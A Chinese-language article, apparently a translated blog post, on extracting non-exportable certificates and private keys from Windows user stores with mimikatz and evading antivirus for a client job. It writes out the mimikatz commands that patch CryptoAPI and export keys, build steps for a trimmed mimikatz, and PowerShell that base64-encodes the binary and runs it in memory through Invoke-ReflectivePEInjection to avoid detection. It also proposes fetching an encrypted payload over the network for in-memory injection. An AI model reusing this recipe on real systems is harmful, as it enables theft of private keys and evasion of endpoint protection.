导语:使用 Mimikatz 和 Powersploit 提取 Windows 禁止导出的证书并逃避防护软件
前段时间,我们的一位客户与我们联系了一个特殊的要求。由于某些原因,他们需要集中收集某些证书,包括分配在许多运行Windows客户端系统并存储在相应用户存储中的私钥。不幸的是,特定的私钥被标记为不可导出,从而在用户上下文中产生本机导出。如果这还不够,则提取应该在当前用户的上下文中执行(即没有管理权限),而根本不触发现有的Anti Virus解决方案。此外,证书需要转移到某些受信任的系统,而这些系统无法以未经授权的方式访问。
证书/密钥提取与Mimikatz
虽然还有其他的调查机会,直接从AD提取DPAPI保护的证书,并尝试逆向工程加密过程,但我们决定采用mimikatz采取可预测的方法。使用mimikatz,非常简单的从用户商店中提取不可导出的证书,包括他们的私钥。您只需发出以下命令,并将PFX文件导出到mimikatz目录:
crypto::capi crypto::certificates /export /store:MY /systemstore:CURRENT_USER
第一个命令修补Windows Crypto API,以便导出不可导出的证书,第二个命令执行导出。
从Mimikatz剥离功能
所以我们可以提取好的证书。但是,mimikatz是一个非常强大的工具,可以做更多的东西,就像提取NTLM哈希值,密码,票证等等。当然,我们不希望所有这些功能在客户端系统上都是潜在可用的,特别是当我们想要逃避AV(但是请参阅下面的主题)时。方便的是,mimikatz是开源软件,所以我们可以建立自己的版本,所有这些功能被剥离。按照构建说明,我们需要设置Visual Studio并导入mimikatz项目。在解决方案资源管理器视图中,我们可以安全地排除以下目录及其子目录中的所有文件,方法是右键单击.c / .h文件并选择“从项目中排除”:
mimikatz/modules/dpapi mimikatz/modules/kerberos mimikatz/modules/sekurlsa
在mimikatz / modules子目录中,我们可以排除除以下内容之外的所有文件:
kull_m.h kull_m_crypto.c kull_m_crypto.h kull_m_standard.c kull_m_standard.h
在mimikatz目录中,我们可以排除以下.c / .h文件之外的所有内容:
crypto crypto_system file kernel memory minidump output patch process registry registry_structures service mimikatz
为了使mimikatz仍然可以建立没有错误,您需要修改mimikatz.h删除除了以下所有不必要的包括:
#include "globals.h" #include "modules/kuhl_m_standard.h" #include "modules/kuhl_m_crypto.h" #include <io.h> #include <fcntl.h>
另外,mimikatz.c需要通过以下方式进行修改:从const KUHL_M * mimikatz_modules []数组中删除所有不需要的命令。在这种情况下,它现在看起来像这样:
const KUHL_M * mimikatz_modules[] = { &kuhl_m_standard, &kuhl_m_crypto, };
此外,我们需要注释掉排除模块的所有函数调用。在我们的例子中,这些是以下几行:
kull_m_asn1_init(); kull_m_asn1_term(); status = kuhl_m_kernel_do(full + 1); status = kuhl_m_rpc_do(full + 1);
逃避反病毒,使用Powershell
下一个要求是逃避防病毒引擎。正如预期的那样,我们的修改不足以绕过AV。虽然有复杂的工具来打包和加密二进制程序来逃避AV,但是一些相当简单的方法可能会做到这一点。通过Base64编码我们的二进制文件并使用Invoke-ReflectivePEInjection执行它们,我们能够成功地逃避AV检测。我们可以将我们的二进制转换为Powershell中的base64,如下所示:
$file = "<PathToFile>" $fileBytes = [System.IO.File]::ReadAllBytes($file) $base64Str = [System.Convert]::ToBase64String($fileBytes) $base64Str | Out-File -filepath "<outputPath>/out.txt"
然后我们需要创建一个包含我们的base64编码的二进制文件的Powershell脚本(在这种情况下,将Invoke-ReflectivePEInjection放在同一目录中):
. .Invoke-ReflectivePEInjection.ps1 $ExeStr = "<String from out.txt>" $ExeBytes = [System.Convert]::FromBase64String($ExeStr) Invoke-ReflectivePEInjection -PEBytes $ExeBytes -ExeArgs "<Arg1> <Arg2> ..."
如果这还不足以逃避AV,那么还有更多的可能性可以以更隐秘的方式做到这一点:
2.通过Powershell脚本中的网络下载二进制文件和Invoke-ReflectivePEInjection(以加密格式),并将所有内容直接注入内存
安全收集私钥
为了从中央服务器上的每个客户端系统安全地收集证书,特别是他们的私钥,会考虑不同的可能性:
2.一个网络可访问的数据库,用户只有INSERT权限
3.某种形式的混合加密保护传输中的密钥
虽然前两个选项可以保护私钥免遭未经授权的访问,但第三个选项也可以在传输时提供对网络上私钥的保护。因此,我们决定使用强大且唯一的密码来保护每个证书的私钥,并使用公钥加密该密码,而该公钥又包含在提取脚本中。最终,每个证书的私有密钥都通过传输中的个人密码和强密码进行保护,然后可以通过与用于加密的公钥相对应的私有密钥在一些安全和可信系统上进行解密。